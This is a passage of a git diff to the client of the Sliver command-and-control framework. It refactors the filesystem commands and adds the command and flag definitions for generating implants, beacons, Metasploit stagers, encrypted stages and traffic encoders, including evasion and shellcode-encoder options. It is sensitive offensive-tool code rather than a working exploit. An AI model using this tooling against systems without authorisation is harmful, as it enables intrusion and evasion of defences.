con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(mkdir.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, mkdir) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -62,14 +61,13 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } PrintMkdir(mkdir, con) }) - con.PrintAsyncResponse(mkdir.Response) } else { PrintMkdir(mkdir, con) } } -// PrintMkdir - Print make directory -func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) { +// PrintMkdir - Print make directory. +func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverClient) { if mkdir.Response != nil && mkdir.Response.Err != "" { con.PrintErrorf("%s\n", mkdir.Response.Err) return diff --git a/client/command/filesystem/mv.go b/client/command/filesystem/mv.go index 61aa523f70..aecf3af637 100644 --- a/client/command/filesystem/mv.go +++ b/client/command/filesystem/mv.go @@ -21,16 +21,15 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) { +func MvCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -56,29 +55,28 @@ func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Dst: dst, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } mv.Src, mv.Dst = src, dst if mv.Response != nil && mv.Response.Async { - con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(mv.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, mv) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) return } }) - con.PrintAsyncResponse(mv.Response) } else { PrintMv(mv, con) } return } -// PrintMv - Print the renamed file -func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) { +// PrintMv - Print the renamed file. +func PrintMv(mv *sliverpb.Mv, con *console.SliverClient) { if mv.Response != nil && mv.Response.Err != "" { con.PrintErrorf("%s\n", mv.Response.Err) return diff --git a/client/command/filesystem/pwd.go b/client/command/filesystem/pwd.go index 865de3bd8c..24115a5179 100644 --- a/client/command/filesystem/pwd.go +++ b/client/command/filesystem/pwd.go @@ -21,17 +21,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// PwdCmd - Print the remote working directory -func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PwdCmd - Print the remote working directory. +func PwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -40,11 +39,11 @@ func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pwd.Response != nil && pwd.Response.Async { - con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(pwd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, pwd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -52,14 +51,13 @@ func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintPwd(pwd, con) }) - con.PrintAsyncResponse(pwd.Response) } else { PrintPwd(pwd, con) } } -// PrintPwd - Print the remote working directory -func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) { +// PrintPwd - Print the remote working directory. +func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverClient) { if pwd.Response != nil && pwd.Response.Err != "" { con.PrintErrorf("%s\n", pwd.Response.Err) return diff --git a/client/command/filesystem/rm.go b/client/command/filesystem/rm.go index 72fc88b40d..c5eb4262f0 100644 --- a/client/command/filesystem/rm.go +++ b/client/command/filesystem/rm.go @@ -21,17 +21,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RmCmd - Remove a directory from the remote file system -func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RmCmd - Remove a directory from the remote file system. +func RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -55,11 +54,11 @@ func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Force: force, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if rm.Response != nil && rm.Response.Async { - con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(rm.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, rm) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -67,14 +66,13 @@ func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintRm(rm, con) }) - con.PrintAsyncResponse(rm.Response) } else { PrintRm(rm, con) } } -// PrintRm - Print the rm response -func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) { +// PrintRm - Print the rm response. +func PrintRm(rm *sliverpb.Rm, con *console.SliverClient) { if rm.Response != nil && rm.Response.Err != "" { con.PrintErrorf("%s\n", rm.Response.Err) return diff --git a/client/command/filesystem/upload.go b/client/command/filesystem/upload.go index b534567ccc..ec797f3476 100644 --- a/client/command/filesystem/upload.go +++ b/client/command/filesystem/upload.go @@ -30,9 +30,8 @@ import ( "path/filepath" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/implant/sliver/handlers/matcher" @@ -266,7 +265,7 @@ func tarDirectory(sourcePath string, pathAsSpecified string, sourceFilter string } // UploadCmd - Upload a file to the remote system -func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func UploadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { readFiles := 0 unreadableFiles := 0 var isDirectory bool @@ -405,11 +404,11 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if upload.Response != nil && upload.Response.Async { - con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(upload.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, upload) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -417,14 +416,13 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } PrintUpload(upload, con) }) - con.PrintAsyncResponse(upload.Response) } else { PrintUpload(upload, con) } } -// PrintUpload - Print the result of the upload command -func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) { +// PrintUpload - Print the result of the upload command. +func PrintUpload(upload *sliverpb.Upload, con *console.SliverClient) { if upload.Response != nil && upload.Response.Err != "" { con.PrintErrorf("%s\n", upload.Response.Err) return diff --git a/client/command/flags/flags.go b/client/command/flags/flags.go new file mode 100644 index 0000000000..99bcdfe936 --- /dev/null +++ b/client/command/flags/flags.go @@ -0,0 +1,52 @@ +package flags + +import ( + "strings" + + "github.com/reeflective/console" + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +const ( + DefaultTimeout = 60 +) + +// Bind is a convenience function to bind flags to a command, through newly created +// pflag.Flagset type. This function can be called any number of times for any command. +// desc - An optional name for the flag set (can be empty, but might end up useful). +// persistent - If true, the flags bound will apply to all subcommands of this command. +// cmd - The pointer to the command the flags should be bound to. +// flags - A function using this flag set as parameter, for you to register flags. +func Bind(desc string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { + flagSet := pflag.NewFlagSet(desc, pflag.ContinueOnError) + flags(flagSet) + + if persistent { + cmd.PersistentFlags().AddFlagSet(flagSet) + } else { + cmd.Flags().AddFlagSet(flagSet) + } +} + +// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key +// to a comma-separated list of filters to use in order to expose/hide commands based on requirements. +// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows. +// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows. +func RestrictTargets(filters ...string) map[string]string { + if len(filters) == 0 { + return nil + } + + if len(filters) == 1 { + return map[string]string{ + console.CommandFilterKey: filters[0], + } + } + + filts := strings.Join(filters, ",") + + return map[string]string{ + console.CommandFilterKey: filts, + } +} diff --git a/client/command/generate/canaries.go b/client/command/generate/canaries.go index e2a9ff240f..9113dc4151 100644 --- a/client/command/generate/canaries.go +++ b/client/command/generate/canaries.go @@ -13,8 +13,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// CanariesCmd - Display canaries from the database and their status -func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CanariesCmd - Display canaries from the database and their status. +func CanariesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("Failed to list canaries %s", err) @@ -28,10 +28,11 @@ func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintCanaries - Print the canaries tracked by the server -func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) { +// PrintCanaries - Print the canaries tracked by the server. +func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, burnedOnly bool) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Sliver Name", "Domain", diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go new file mode 100644 index 0000000000..da111ccd04 --- /dev/null +++ b/client/command/generate/commands.go @@ -0,0 +1,410 @@ +package generate + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns all payload compilation commands. +func Commands(con *console.SliverClient) []*cobra.Command { + // [ Generate ] -------------------------------------------------------------- + generateCmd := &cobra.Command{ + Use: consts.GenerateStr, + Short: "Generate an implant binary", + Long: help.GetHelpFor([]string{consts.GenerateStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("generate", true, generateCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + // Session flags and completions. + coreImplantFlags("session", generateCmd) + compileImplantFlags("session", generateCmd) + coreImplantFlagCompletions(generateCmd, con) + + generateBeaconCmd := &cobra.Command{ + Use: consts.BeaconStr, + Short: "Generate a beacon binary", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateBeaconCmd(cmd, con, args) + }, + } + + // Beacon flags and completions. + coreImplantFlags("beacon", generateBeaconCmd) + compileImplantFlags("beacon", generateBeaconCmd) + coreBeaconFlags("beacon", generateBeaconCmd) + coreImplantFlagCompletions(generateBeaconCmd, con) + + generateCmd.AddCommand(generateBeaconCmd) + + generateStagerCmd := &cobra.Command{ + Use: consts.MsfStagerStr, + Short: "Generate a stager using Metasploit (requires local Metasploit installation)", + Long: help.GetHelpFor([]string{consts.MsfStagerStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateStagerCmd(cmd, con, args) + }, + } + flags.Bind("stager", false, generateStagerCmd, func(f *pflag.FlagSet) { + f.StringP("os", "o", "windows", "operating system") + f.StringP("arch", "a", "amd64", "cpu architecture") + f.StringP("lhost", "L", "", "Listening host") + f.Uint32P("lport", "l", 8443, "Listening port") + f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)") + f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)") + f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode") + f.StringP("save", "s", "", "directory to save the generated stager to") + f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)") + }) + completers.NewFlagCompsFor(generateStagerCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionDirectories() + (*comp)["os"] = carapace.ActionValues("windows", "linux", "darwin").Tag("msf stager OS") + (*comp)["arch"] = carapace.ActionValues("amd64", "x86").Tag("msf stager archs") + (*comp)["format"] = MsfFormatCompleter(con) + (*comp)["protocol"] = carapace.ActionValues("http", "https", "tcp").Tag("msf stager protocols") + }) + generateCmd.AddCommand(generateStagerCmd) + + generateInfoCmd := &cobra.Command{ + Use: consts.CompilerInfoStr, + Short: "Get information about the server's compiler", + Long: help.GetHelpFor([]string{consts.CompilerInfoStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateInfoCmd(cmd, con, args) + }, + } + generateCmd.AddCommand(generateInfoCmd) + + // Traffic Encoder SubCommands + trafficEncodersCmd := &cobra.Command{ + Use: consts.TrafficEncodersStr, + Short: "Manage implant traffic encoders", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr}), + Run: func(cmd *cobra.Command, args []string) { + TrafficEncodersCmd(cmd, con, args) + }, + } + generateCmd.AddCommand(trafficEncodersCmd) + + trafficEncodersAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a new traffic encoder to the server from the local file system", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.AddStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TrafficEncodersAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, trafficEncodersAddCmd, func(f *pflag.FlagSet) { + f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)") + }) + carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)")) + trafficEncodersCmd.AddCommand(trafficEncodersAddCmd) + + trafficEncodersRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a traffic encoder from the server", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TrafficEncodersRemoveCmd(cmd, con, args) + }, + } + carapace.Gen(trafficEncodersRmCmd).PositionalCompletion(TrafficEncodersCompleter(con).Usage("traffic encoder to remove")) + trafficEncodersCmd.AddCommand(trafficEncodersRmCmd) + + // [ Regenerate ] -------------------------------------------------------------- + + regenerateCmd := &cobra.Command{ + Use: consts.RegenerateStr, + Short: "Regenerate an implant", + Long: help.GetHelpFor([]string{consts.RegenerateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegenerateCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("regenerate", false, regenerateCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "directory/file to the binary to") + }) + completers.NewFlagCompsFor(regenerateCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + }) + carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con)) + + // [ Profiles ] -------------------------------------------------------------- + + profilesCmd := &cobra.Command{ + Use: consts.ProfilesStr, + Short: "List existing profiles", + Long: help.GetHelpFor([]string{consts.ProfilesStr}), + Run: func(cmd *cobra.Command, args []string) { + ProfilesCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("profiles", true, profilesCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + profilesGenerateCmd := &cobra.Command{ + Use: consts.GenerateStr, + Short: "Generate implant from a profile", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ProfilesGenerateCmd(cmd, con, args) + }, + } + flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "directory/file to the binary to") + f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") + }) + completers.NewFlagCompsFor(profilesGenerateCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + }) + carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesGenerateCmd) + + profilesNewCmd := &cobra.Command{ + Use: consts.NewStr, + Short: "Create a new implant profile (interactive session)", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}), + Run: func(cmd *cobra.Command, args []string) { + ProfilesNewCmd(cmd, con, args) + }, + } + profilesCmd.AddCommand(profilesNewCmd) + + // Session flags and completions. + coreImplantFlags("session", profilesNewCmd) + compileImplantFlags("session", profilesNewCmd) + coreImplantFlagCompletions(profilesNewCmd, con) + + profilesNewBeaconCmd := &cobra.Command{ + Use: consts.BeaconStr, + Short: "Create a new implant profile (beacon)", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}), + Run: func(cmd *cobra.Command, args []string) { + ProfilesNewBeaconCmd(cmd, con, args) + }, + } + profilesNewCmd.AddCommand(profilesNewBeaconCmd) + + // Beacon flags and completions. + coreImplantFlags("beacon", profilesNewBeaconCmd) + compileImplantFlags("beacon", profilesNewBeaconCmd) + coreBeaconFlags("beacon", profilesNewBeaconCmd) + coreImplantFlagCompletions(profilesNewBeaconCmd, con) + + profilesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a profile", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ProfilesRmCmd(cmd, con, args) + }, + } + carapace.Gen(profilesRmCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesRmCmd) + + profilesStageCmd := &cobra.Command{ + Use: consts.StageStr, + Short: "Generate an encrypted and/or compressed implant", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ProfilesStageCmd(cmd, con, args) + }, + } + flags.Bind("stage", false, profilesStageCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "implant name") + f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") + f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") + f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key") + f.StringP("compress", "C", "", "compress the stage before encrypting (zlib, gzip, deflate9, none)") + f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") + }) + completers.NewFlagCompsFor(profilesStageCmd, func(comp *carapace.ActionMap) { + (*comp)["compress"] = carapace.ActionValues("zlib", "gzip", "deflate9").Tag("compression algorithms") + }) + carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesStageCmd) + + profilesInfoCmd := &cobra.Command{ + Use: consts.InfoStr, + Short: "Details about a profile", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + PrintProfileInfo(args[0], con) + }, + } + carapace.Gen(profilesInfoCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesInfoCmd) + + // [ Implants ] -------------------------------------------------------------- + + implantBuildsCmd := &cobra.Command{ + Use: consts.ImplantBuildsStr, + Short: "List implant builds", + Long: help.GetHelpFor([]string{consts.ImplantBuildsStr}), + Run: func(cmd *cobra.Command, args []string) { + ImplantsCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("implants", true, implantBuildsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("implants", false, implantBuildsCmd, func(f *pflag.FlagSet) { + f.StringP("os", "o", "", "filter builds by operating system") + f.StringP("arch", "a", "", "filter builds by cpu architecture") + f.StringP("format", "f", "", "filter builds by artifact format") + f.BoolP("only-sessions", "s", false, "filter interactive sessions") + f.BoolP("only-beacons", "b", false, "filter beacons") + f.BoolP("no-debug", "d", false, "filter builds by debug flag") + }) + completers.NewFlagCompsFor(implantBuildsCmd, func(comp *carapace.ActionMap) { + (*comp)["os"] = OSCompleter(con) + (*comp)["arch"] = ArchCompleter(con) + (*comp)["format"] = FormatCompleter() + }) + + implantsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove implant build", + Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ImplantsRmCmd(cmd, con, args) + }, + } + carapace.Gen(implantsRmCmd).PositionalCompletion(ImplantBuildNameCompleter(con)) + implantBuildsCmd.AddCommand(implantsRmCmd) + + implantStageCmd := &cobra.Command{ + Use: consts.StageStr, + Short: "Serve a previously generated implant", + Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}), + Run: func(cmd *cobra.Command, args []string) { + ImplantsStageCmd(cmd, con, args) + }, + } + implantBuildsCmd.AddCommand(implantStageCmd) + + canariesCmd := &cobra.Command{ + Use: consts.CanariesStr, + Short: "List previously generated canaries", + Long: help.GetHelpFor([]string{consts.CanariesStr}), + Run: func(cmd *cobra.Command, args []string) { + CanariesCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("canaries", false, canariesCmd, func(f *pflag.FlagSet) { + f.BoolP("burned", "b", false, "show only triggered/burned canaries") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{generateCmd, regenerateCmd, profilesCmd, implantBuildsCmd} +} + +// coreImplantFlags binds all flags common to all sliver implant types. +// This is used by all sliver compilation and profiles generation commands. +func coreImplantFlags(name string, cmd *cobra.Command) { + flags.Bind(name, false, cmd, func(f *pflag.FlagSet) { + // Core compile + f.StringP("os", "o", "windows", "operating system") + f.StringP("arch", "a", "amd64", "cpu architecture") + f.StringP("name", "N", "", "agent name") // + f.BoolP("debug", "d", false, "enable debug features") + f.StringP("debug-file", "O", "", "path to debug output") + f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") + f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") + f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") + + f.StringP("canary", "c", "", "canary domain(s)") + + // C2 channels + f.StringP("mtls", "m", "", "mtls connection strings") + f.StringP("wg", "g", "", "wg connection strings") + f.StringP("http", "b", "", "http(s) connection strings") + f.StringP("dns", "n", "", "dns connection strings") + f.StringP("named-pipe", "p", "", "named-pipe connection strings") + f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") + + f.Uint32P("key-exchange", "X", DefaultWGKeyExPort, "wg key-exchange port") + f.Uint32P("tcp-comms", "T", DefaultWGNPort, "wg c2 comms port") + + f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") + f.BoolP("netgo", "q", false, "force the use of netgo") + f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") + + f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") + f.Int64P("reconnect", "j", DefaultReconnect, "attempt to reconnect every n second(s)") + f.Int64P("poll-timeout", "P", DefaultPollTimeout, "long poll request timeout") + f.Uint32P("max-errors", "k", DefaultMaxErrors, "max number of connection errors") + + // Limits + f.StringP("limit-datetime", "w", "", "limit execution to before datetime") + f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") + f.StringP("limit-username", "y", "", "limit execution to specified username") + f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") + f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") + f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") + + f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") + f.StringP("c2profile", "C", consts.DefaultC2Profile, "HTTP C2 profile to use") + }) +} + +// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags. +func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) { + completers.NewFlagCompsFor(cmd, func(comp *carapace.ActionMap) { + (*comp)["debug-file"] = carapace.ActionFiles() + (*comp)["os"] = OSCompleter(con) + (*comp)["arch"] = ArchCompleter(con) + (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") + (*comp)["format"] = FormatCompleter() + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + (*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",") + (*comp)["c2profile"] = HTTPC2Completer(con) + }) +} + +// coreBeaconFlags binds all flags specific to beacon implants (profiles or compiled). +func coreBeaconFlags(name string, cmd *cobra.Command) { + flags.Bind(name, false, cmd, func(f *pflag.FlagSet) { + f.Int64P("days", "D", 0, "beacon interval days") + f.Int64P("hours", "H", 0, "beacon interval hours") + f.Int64P("minutes", "M", 0, "beacon interval minutes") + f.Int64P("seconds", "S", 60, "beacon interval seconds") + f.Int64P("jitter", "J", 30, "beacon interval jitter in seconds") + }) +} + +// compileImplantFlags binds all flags used when actually compiling an implant (not when creating a profile). +func compileImplantFlags(name string, cmd *cobra.Command) { + flags.Bind(name, false, cmd, func(f *pflag.FlagSet) { + f.StringP("name", "N", "", "agent name") + f.StringP("template", "I", "sliver", "implant code template") + f.BoolP("external-builder", "E", false, "use an external builder") + f.StringP("save", "s", "", "directory/file to the binary to") + }) +} diff --git a/client/command/generate/generate-beacon.go b/client/command/generate/generate-beacon.go index d069592842..b09956a500 100644 --- a/client/command/generate/generate-beacon.go +++ b/client/command/generate/generate-beacon.go @@ -17,7 +17,7 @@ var ( ) // GenerateBeaconCmd - The main command used to generate implant binaries -func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, config := parseCompileFlags(cmd, con) if config == nil { return @@ -39,7 +39,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } } -func parseBeaconFlags(cmd *cobra.Command, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error { +func parseBeaconFlags(cmd *cobra.Command, con *console.SliverClient, config *clientpb.ImplantConfig) error { days, _ := cmd.Flags().GetInt64("days") hours, _ := cmd.Flags().GetInt64("hours") minutes, _ := cmd.Flags().GetInt64("minutes") diff --git a/client/command/generate/generate-info.go b/client/command/generate/generate-info.go index 9fe59c3321..ac01a6be40 100644 --- a/client/command/generate/generate-info.go +++ b/client/command/generate/generate-info.go @@ -9,11 +9,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// GenerateInfoCmd - Display information about the Sliver server's compiler configuration -func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GenerateInfoCmd - Display information about the Sliver server's compiler configuration. +func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to get compiler information: %s\n", err) + con.PrintErrorf("Failed to get compiler information: %s\n", con.UnwrapServerErr(err)) return } con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH) diff --git a/client/command/generate/generate-stager.go b/client/command/generate/generate-stager.go index 6806ffb184..775ab17a18 100644 --- a/client/command/generate/generate-stager.go +++ b/client/command/generate/generate-stager.go @@ -33,8 +33,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// GenerateStagerCmd - Generate a stager using Metasploit -func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GenerateStagerCmd - Generate a stager using Metasploit. +func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var stageProto clientpb.StageProtocol lhost, _ := cmd.Flags().GetString("lhost") if lhost == "" { @@ -109,7 +109,7 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg <-ctrl if err != nil { - con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err) + 